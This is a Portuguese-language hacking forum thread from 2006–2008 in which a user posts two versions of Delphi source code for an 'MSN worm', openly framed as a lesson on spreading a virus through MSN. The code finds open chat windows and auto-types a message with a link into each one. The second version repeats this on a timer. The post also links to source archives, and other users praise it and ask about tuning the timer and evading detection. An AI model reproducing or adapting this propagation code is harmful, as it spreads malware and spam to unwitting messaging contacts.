FORUM DARKERS

Administração => Darkers Project => Topic started by: TGA on 08 de November , 2006, 10:16:28 AM

Title: [Artigo] - MSN-Worm
Post by: TGA on 08 de November , 2006, 10:16:28 AM
TGA

Bom, depois de muitos estudos sobre o assunto, abordarei aqui uma maneira
simples, de como dissiminar um viri pelo MSN, aqueles que enviam uma
MSG de ( 'Olha aqui minha foto.. www.um_site_qualquer.com/meuviri.exe' (http://www.um_site_qualquer.com/meuviri.exe') ).
Sei que muitos ja sabem como proceder, mais informação nunca é de mais,
então vamos ao code que fis aqui para mostrar como o procedimento é simples.

Quote{ ----------------------------------
   Exemplo 1;
   como espalhar um virus pelo msn
   www.tga.namoral.com (http://www.tga.namoral.com)
  ----------------------------------}

program ExemploWormTGA;

uses //bibliotecas usados
  Windows,
  Classes,
  sndkey32;

Var
  { variaveis usados }
  JA : TStringList; //Recebe os janelas ativas
  i : integer;      //para controlar as linhas do Stringlist


 {----------------------------------------------
    PEGA TODAS AS JANELAS ABERTAS , criei essa
    função Boolean para ficar mais prático;
  --------------------------------------------- }
Function CapJanelasAtivas:Boolean;
const
  MAX_WINDOW = 16364;
var
  I : Word;
  Caption : Array[0..255]Of Char;

begin
  JA.Clear;

  Try
    For I:=1 To MAX_WINDOW Do
      Begin
         If((GetWindowText(I,Caption,255)<>0)And (GetWindowLong(I,GWL_EXSTYLE)<>0)And
           ( GetWindowLong(I,GWL_HWNDPARENT)=0)And (GetWindowLong(I,GWL_HINSTANCE)<>0))Then
         If(IsWindowVisible(I))Then
          JA.Add( Caption );
      end;

    Result := true;
   except
    Result := False;
   end;

End;



begin
  { Cria e iniciar uma StringList}
  JA := TStringList.Create;

  {Se conseguir capturar as janelas Next}
  if CapJanelasAtivas then

      { Fas uma passagem uma a uma das janelas capturadas }
      for  i := 0 to JA.Count -1 do

         { Verifica cada janelas, se contem a string "- Conversa",
           que é da janela do MSN, se for tiver a string Netx }
         if Pos('- Conversa', JA.Strings ) >0 then

            { Tenta focar a janela da conversa, para enviar a mensagem.
               "AppActivate", ja esta embutido na bliblioteca Sndkey32,
               mias é fácio fácio cria uma função que faça o mesmo, como
               ja temos ela embutido, vamos usalas  }
           if  AppActivate( Pchar(JA.Strings) ) then

             { Aqui usei uma biblioteca ja pranto para enviar o texto qye quiser,
               e no fim ele tecla enter, mais vc pode fazer isso vc mesmo em API}
             SendKeys('Vamos animar galera VXs.. www.namoral.com (http://www.namoral.com) {enter}', true );



end.

Para quem quizer baixar o fonte:
http://tga.namoral.com/codigos/Exemplo_WormMSN1.zip (http://tga.namoral.com/codigos/Exemplo_WormMSN1.zip)

Obs: Se o tópico render vomos implemtando esse codigo de vagar,
criaremos em API e em tempo de execução para ficar checando
as janelas e enviando as mensagens.

Vlw.. espero ajudar alguem,  ;)
Abraços.
Title: Re: [Artigo] - MSN-Worm
Post by: abobre on 08 de November , 2006, 12:32:35 PM
Com ctz estou baixando aqui TGA, sempre vc tranzendo excelente novidades em programas e codes para o fórum.

 Baixando e testando...

 Abraços
Title: Re: [Artigo] - MSN-Worm
Post by: shake on 08 de November , 2006, 12:38:08 PM
Que massa TGA!
Baixando.
Depois vou "analisar" direito e voltarei aqui com as minhas dúvidas!
sahudauhd

Abraços
Title: Re: [Artigo] - MSN-Worm
Post by: Anonymous on 08 de November , 2006, 01:27:57 PM
Muito bom por sinal!
Irei baixar agora e testá-lo, parabéns!  ;)

Abçs.
Title: Re: [Artigo] - MSN-Worm
Post by: Anonymous on 08 de November , 2006, 08:31:07 PM
pelo q vi ele fica fazendo isso o tmpo td ne? se eu bota dentro de um timer eu consigo regular o tempo entre as msg ne
Title: Re: [Artigo] - MSN-Worm
Post by: shake on 08 de November , 2006, 09:08:05 PM
Quote from: "Maximus"pelo q vi ele fica fazendo isso o tmpo td ne? se eu bota dentro de um timer eu consigo regular o tempo entre as msg ne

É isso mesmo cara!
Basta colocar o time configurar o tempo e pronto!

Abraços
Title: Re: [Artigo] - MSN-Worm
Post by: TGA on 08 de November , 2006, 10:42:20 PM
TGA

Bom, para quem curtiu o exemplo acima ai vai uma implementação que fiz aqui, adiantando o que foi feito,
Criei um timer em tempo de execução (API), e criamos uma função para deixar nosso worm rodando e
executando o Timer, bom o codigo está comentado, mais qualquer dpuvida, postem ai..

Quote{ ----------------------------------
   Exemplo 2;
   como espalhar um virus pelo msn
   www.tga.namoral.com (http://www.tga.namoral.com)
  ----------------------------------}

program ExemploWormTGA;

uses //bibliotecas usados
  Windows,
  Classes,
  sndkey32;

Var
  { variaveis usados }
  JA : TStringList; //Recebe os janelas ativas
  i : integer;      //para controlar as linhas do Stringlist
  TempoHandle:WORD; //criar um evento Timer
  Msg : Tmsg;       //Mantem nosso programa rodando


 {----------------------------------------------
    PEGA TODAS AS JANELAS ABERTAS , criei essa
    função Boolean para ficar mais prático;
  --------------------------------------------- }
Function CapJanelasAtivas:Boolean;
const
  MAX_WINDOW = 16364;
var
  I : Word;
  Caption : Array[0..255]Of Char;

begin
  JA.Clear;

  Try
    For I:=1 To MAX_WINDOW Do
      Begin
         If((GetWindowText(I,Caption,255)<>0)And (GetWindowLong(I,GWL_EXSTYLE)<>0)And
           ( GetWindowLong(I,GWL_HWNDPARENT)=0)And (GetWindowLong(I,GWL_HINSTANCE)<>0))Then
         If(IsWindowVisible(I))Then
          JA.Add( Caption );
      end;

    Result := true;
   except
    Result := False;
   end;
End;



 { --------------------------------------------------------
     AQUI CRIAREMOS UM TIMER EM API, O SEU EVENTO, E SUA
     FUNÇÃO PARA INCIAR O TEMPO EM ML (1000)=1 SG OK
   -------------------------------------------------------- }
 procedure Tempo(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);stdcall;
  begin
     { CODIGO FONTE QUE SERÁ EXECUTADO O EVENTO DO TIMER }
  JA := TStringList.Create;
  if CapJanelasAtivas then
      for  i := 0 to JA.Count -1 do
         if Pos('- Conversa', JA.Strings ) >0 then
           if  AppActivate( Pchar(JA.Strings) ) then
             SendKeys('Vamos animar galera VXs.. www.namoral.com (http://www.namoral.com) {enter}', true );
  end;

 { INICIA O TIME COM O TEMPO DEJESADO }
 procedure IniciaTempo(Interval:DWORD);
  begin
    TempoHandle:=SetTimer(0,0,Interval,@Tempo);
  end;


 { INICIO DO PROGRAMA }
begin
 IniciaTempo(2000);  //Dois segundos


   { ESTE CODIGO MOANTEN NOSSO PROGRAMA ABERTO ATÉ QUE ELE SEJA FINALIZADO
     E ELE É COMO SE FOSSE UM APP.PROCESSMESSAGE, ATUALIZANDO A APP. }
  while GetMessage(Msg, 0, 0, 0) do
  begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end;

end.

Download do Fonte completo
http://tga.namoral.com/codigos/Exemplo_WormMSN2.rar (http://tga.namoral.com/codigos/Exemplo_WormMSN2.rar)

Vlw.. abraços..  ;)
Title: Re: [Artigo] - MSN-Worm
Post by: rodweb on 11 de November , 2006, 12:50:13 PM
Mais um ótimo tutorial TGA, parabêns!
Title: Re: [Artigo] - MSN-Worm
Post by: RC on 12 de November , 2006, 05:35:32 PM
TGA...
Kra meus sinceros parabéns pelo source, seus conhecimentos sobre API são excelentes, vc poderia indiciar algum material do tipo? Gostei muito desse timer criado em tempo de execução...
Aguardo tb uma segunda parte daquela video aula sobre criar pequenos executáveis.





rox_nxr

"Somos aquilo o que fazemos, mas somos principalemente aquilo que fazemos para mudarmos o que somos"
Title: Re: [Artigo] - MSN-Worm
Post by: TGA on 13 de November , 2006, 11:38:49 AM
TGA

Vlw,  ;D, e começar
um projeto de proteção de registro, mais é futuramente.. vlw pelos parabens.. abraços a todos
Title: Re: [Artigo] - MSN-Worm
Post by: whit3_sh4rk on 13 de November , 2006, 06:51:20 PM
Bem legal mesmo cara..

Parabéns.. É aquela coisa, saber como funciona..

E como outros já comentaram, quando tópicos como este, tiverem mais repercussão do que tópicos ensinando a "configurar kl", etc.. Aí sim, estaremos no caminho certo..

[]s
Title: Re: [Artigo] - MSN-Worm
Post by: TGA on 14 de November , 2006, 10:22:31 AM
TGA

@whit3
Faço de suas palavras as minhas, pessoal o que o whit3 citou é estremamente fundamental,
eu vejo pessoas postando programas criado por si mesmo aqui no forum, que quando alguem pergunta
algo sobre o programa, o criador nem sabe responder como foi feito ou que se ocorre, copiar uma função
colar compilar e postar, é legal, mais o importante e saber como ela realmente funciona, entender todo o
processo. Abraços a todos..
Title: Re: [Artigo] - MSN-Worm
Post by: Hacker Xtreme on 15 de November , 2006, 05:52:51 PM
falaram de mim  ??? sobre o xtreme keylogger????
Ahauhaauha se for: Eu naum tenho mto tempo sempre q tenho vou e faço algum prog e disponibilizo o code.....
Title: Re: [Artigo] - MSN-Worm
Post by: Ðark$pawn on 16 de November , 2006, 06:01:35 PM
Quote from: "Hacker Xtreme"falaram de mim  ;)
Title: Re: [Artigo] - MSN-Worm
Post by: Hacker Xtreme on 16 de November , 2006, 10:17:49 PM
hehe, pode ter certeza q foi pra mim, quando entrei minha reputação já não era das melhores, mto menos agora hauauaha......
Title: Re: [Artigo] - MSN-Worm
Post by: TGA on 17 de November , 2006, 03:15:58 PM
TGA

@Hacker Xtreme, fala rapaz.. blz..
Bom quanto as comentarios feito por mim (E tenho certeza que com o whit3_sh4rk tb), não sitei e nem direcionei as palavraz
para alguem, e sim para quem que se encaixe nesse perfil, tenho certeza que são muitas pessoas, tenho certeza que as pessoas
que leram o poste, e descobriram o seu erro diante daquelas palavras, procuraram a mudar, se vc se setiu ofendido me desculpe,
o poster naum foi direcionado a vc ou a qualquer outra pessoa, mais sim para quem se encaixe no perfil, se vc acha que se encaixe, me desculpe, mais uma ves repito, não direcionei o poster a um alvo, essa não foi a itenção, quanto a vc se sentir ofendido
não sei o motivo, talves se vc podesse exclarecer eu entenderia, vla cara.. abraços..
Title: Re: [Artigo] - MSN-Worm
Post by: CripToGraFado on 19 de February , 2007, 02:34:13 AM
Existe Removedor?! =/
Title: Re: [Artigo] - MSN-Worm
Post by: TGA on 23 de February , 2007, 08:16:16 AM
Quote from: "CripToGraFado"Existe Removedor?! =/

O programa acima, não esta injetavel, portanto após iniciar ele, quando vc reiciniar a maquina
ou finalizar o processo, ele não estará mais ativo, vlw.. abraços..

TGA
Title: Re: [Artigo] - MSN-Worm
Post by: Anonymous on 23 de February , 2007, 05:12:00 PM
Não entendo muito de Worms mas esse aí parece bom. É indetectável, né?
Title: Re: [Artigo] - MSN-Worm
Post by: Anonymous on 24 de February , 2007, 04:57:04 PM
TGA; Parabéns, ótimo trabalho.
Eu dou o maior apoio as palavras do white-shark.
Title: Re: [Artigo] - MSN-Worm
Post by: eb0x on 04 de January , 2008, 02:34:27 PM
Estive fora por uns tempos e como voltei agora a festa ja tinha acabado, tem como up de novo TGA ?
Se puder agradeço ...
Mesmo com o codigo, postado !

format pro C